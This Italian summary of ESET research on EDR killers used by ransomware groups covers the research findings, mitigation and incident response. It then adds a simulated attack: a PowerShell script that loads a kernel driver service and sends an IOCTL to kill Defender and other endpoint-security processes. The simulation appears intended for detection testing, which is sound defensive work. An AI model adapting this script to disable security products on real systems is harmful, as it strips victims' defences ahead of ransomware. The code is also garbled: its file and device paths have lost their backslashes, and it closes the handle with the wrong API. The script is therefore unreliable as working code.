ESET Research: Killer EDR spiegati: Oltre i driver

Riassunto

L’articolo esplora l’ecosistema degli EDR killer che gli operatori ransomware utilizzano per neutralizzare la protezione degli endpoint prima di lanciare i cifratori. Spiega come gli avversari si affidano a driver vulnerabili, utilità anti-rootkit legittime e persino tecniche senza driver per eludere le difese e disabilitare i software di sicurezza. I risultati sono basati sulla telemetria che copre quasi 90 EDR killer visti negli attacchi reali. La ricerca sottolinea anche il ruolo degli affiliati ransomware, il riutilizzo ripetuto degli stessi driver e il crescente mercato per i servizi commercializzati di EDR killer.

Indagine

I ricercatori ESET hanno analizzato la telemetria, i repository di codice e i casi di intrusione documentati per tracciare come vengono costruiti, distribuiti e implementati gli EDR killer. Hanno classificato diverse famiglie, inclusi varianti basate su driver, script, anti-rootkit e senza driver, e li hanno collegati a gruppi di ransomware come Warlock, LockBit, Akira e Medusa. Lo studio ha inoltre evidenziato la trasformazione del codice di prova di concetto pubblico e la crescente influenza dello sviluppo assistito dall’IA in questo ecosistema di strumenti.

Mitigazione

I difensori dovrebbero bloccare i driver vulnerabili noti, monitorare l’uso anomalo di comandi amministrativi privilegiati e rilevare binari EDR-killer noti e modelli comportamentali. Rilevazioni stratificate che identificano l’installazione di driver, la terminazione forzata dei prodotti di sicurezza e il comportamento anomalo di blocco della rete possono ridurre la finestra temporale che gli attaccanti hanno prima dell’esecuzione del ransomware.

Risposta

Se viene rilevato un EDR killer, isolare immediatamente l’host, terminare il processo dannoso, rimuovere eventuali driver non autorizzati e confermare che i controlli di sicurezza siano completamente ripristinati. Seguire con un’analisi forense per determinare quale payload ransomware o attività degli affiliati sia associato all’intrusione e attivare il flusso di lavoro di risposta agli incidenti più ampio.

Esecuzione simulata

Prerequisito: il check pre-volo di telemetria & baseline deve aver superato.

Narrativa e Comandi dell’Attacco

1. Fase 1 – Scarica il driver dannoso
   L’attaccante scrive un binario del driver (EdrKiller.sys) su C:WindowsTemp e lo registra come un servizio chiamato EdrKillerSvc.

2. Fase 2 – Avvia il servizio del driver
   L’avvio del servizio carica il driver nello spazio del kernel, dove registra un gestore IOCTL capace di terminare i processi.

3. Fase 3 – Emetti la chiamata DeviceIoControl malevola
   Usando PowerShell, l’attaccante apre un handle su .EdrKiller e invia il codice IOCTL 0x9C040001 (ipotetico codice “TerminateProcess”). Il driver itera la lista dei processi, uccidendo qualsiasi processo il cui nome eseguibile corrisponde a un componente EDR noto.

4. Fase 4 – Verifica della terminazione
   L’attaccante verifica che i processi EDR mirati non siano più in esecuzione.

Script di Test di Regressione

# --------------------------------------------------------------
# Simulazione EDR Killer – PowerShell (richiede amministratore)
# --------------------------------------------------------------

# 1. Percorsi & variabili
$driverPath   = "$env:ProgramDataEdrKiller.sys"
$serviceName  = "EdrKillerSvc"
$deviceName   = ".EdrKiller"
$ioctlCode    = 0x9C040001   # Codice di controllo esemplificativo per "TerminareProcessi"

# 2. Distribuire il driver dannoso (simulato – sostituire con un vero .sys per un test reale)
#    A scopo dimostrativo si copia un driver legittimo (e.g., null.sys) come segnaposto.
Copy-Item "$env:SystemRootSystem32driversnull.sys" -Destination $driverPath -Force

# 3. Creare e avviare il servizio che carica il driver
sc.exe create $serviceName binPath= "$driverPath" type= kernel start= demand
sc.exe start $serviceName

Start-Sleep -Seconds 2   # concedere tempo al driver per inizializzarsi

# 4. Definire DeviceIoControl P/Invoke
$signature = @"
using System;
using System.Runtime.InteropServices;
public class NativeMethods {
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern IntPtr CreateFile(
        string lpFileName,
        uint dwDesiredAccess,
        uint dwShareMode,
        IntPtr lpSecurityAttributes,
        uint dwCreationDisposition,
        uint dwFlagsAndAttributes,
        IntPtr hTemplateFile);

    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        uint dwIoControlCode,
        IntPtr lpInBuffer,
        uint nInBufferSize,
        IntPtr lpOutBuffer,
        uint nOutBufferSize,
        out uint lpBytesReturned,
        IntPtr lpOverlapped);
}
"@
Add-Type $signature

# 5. Aprire handle al driver
$GENERIC_READ  = 0x80000000
$GENERIC_WRITE = 0x40000000
$OPEN_EXISTING = 3
$hDevice = [NativeMethods]::CreateFile(
    $deviceName,
    $GENERIC_READ -bor $GENERIC_WRITE,
    0,
    [IntPtr]::Zero,
    $OPEN_EXISTING,
    0,
    [IntPtr]::Zero)

if ($hDevice -eq [IntPtr]::MinusOne) {
    Write-Error "Impossibile aprire handle su $deviceName"
    exit 1
}

# 6. Emettere il IOCTL malevolo
$bytesReturned = 0
$success = [NativeMethods]::DeviceIoControl(
    $hDevice,
    $ioctlCode,
    [IntPtr]::Zero,
    0,
    [IntPtr]::Zero,
    0,
    [ref]$bytesReturned,
    [IntPtr]::Zero)

if ($success) {
    Write-Host "DeviceIoControl malevolo inviato con successo."
} else {
    $err = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
    Write-Error "DeviceIoControl fallito con errore $err"
}

# 7. Chiudere handle
[System.Runtime.InteropServices.Marshal]::Release($hDevice) | Out-Null

# 8. Verifica che i processi EDR tipici siano terminati (nomi di esempio)
$edrProcs = @("MsMpEng.exe","windefend.exe","MsSense.exe")
foreach ($proc in $edrProcs) {
    if (Get-Process -Name $proc -ErrorAction SilentlyContinue) {
        Write-Warning "$proc è ancora in esecuzione."
    } else {
        Write-Host "$proc terminato con successo."
    }
}

Comandi di Pulizia

# Fermare ed eliminare il servizio del driver dannoso
sc.exe stop $serviceName
sc.exe delete $serviceName

# Rimuovere il file driver falso
Remove-Item -Path $driverPath -Force

Write-Host "Pulizia completata."